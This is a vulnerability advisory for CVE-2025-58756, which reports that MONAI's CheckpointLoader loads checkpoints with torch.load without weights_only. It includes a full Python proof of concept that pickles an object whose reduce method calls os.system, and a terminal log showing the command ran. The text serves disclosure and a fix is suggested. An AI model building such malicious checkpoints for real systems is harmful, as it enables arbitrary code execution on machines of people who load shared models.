CVE-2025-58756: MONAI's unsafe torch usage may lead to arbitrary code execution

Summary In modeldict = torch.load(fullpath, maplocation=torch.device(device), weightsonly=True) in monai/bundle/scripts.py , weightsonly=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.

import os import tempfile import json import torch from pathlib import Path class MaliciousPayload: def reduce(self): return (os.system, ('touch /tmp/hacker2.txt',)) def testcheckpointloaderattack():

tempdir = Path(tempfile.mkdtemp()) checkpointfile = tempdir / "maliciouscheckpoint.pt"

maliciouscheckpoint = { 'modelstatedict': MaliciousPayload(), 'optimizerstatedict': {}, 'epoch': 100 }

torch.save(maliciouscheckpoint, checkpointfile) from monai.handlers import CheckpointLoader import torch.nn as nn model = nn.Linear(10, 1) loader = CheckpointLoader( loadpath=str(checkpointfile), loaddict={"model": model} ) class MockEngine: def init(self): self.state = type('State', (), {})() self.state.maxepochs = None self.state.epoch = 0 engine = MockEngine() loader(engine) prooffile = "/tmp/hacker2.txt" if os.path.exists(prooffile): print("Succes") #os.remove(prooffile) return True else: print("False") return False if name == "main": success = testcheckpointloaderattack()

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log checkpointpwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py Traceback (most recent call last): File "/root/autodl-tmp/mmm/p2.py", line 61, in <module> success = testcheckpointloaderattack() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/autodl-tmp/mmm/p2.py", line 48, in testcheckpointloaderattack loader(engine) ^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpointloader.py", line 146, in call Checkpoint.loadobjects(toload=self.loaddict, checkpoint=checkpoint, strict=self.strict) File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in loadobjects treeapply2(loadobject, toload, checkpointobj) File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in treeapply2 treeapply2(func, CollectionItem.wrap(x, k, v), y[k]) File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in treeapply2 return func(x, y) ^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in loadobject obj.loadstatedict(chkptobj, kwargs) File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in loadstatedict raise RuntimeError( RuntimeError: Error(s) in loading statedict for Linear: Missing key(s) in statedict: "weight", "bias". Unexpected key(s) in statedict: "modelstatedict", "optimizerstatedict", "epoch". root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log checkpointpwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa

Impact Leading to arbitrary command execution Fix suggestion Use a safe method to load, or force weightsonly=True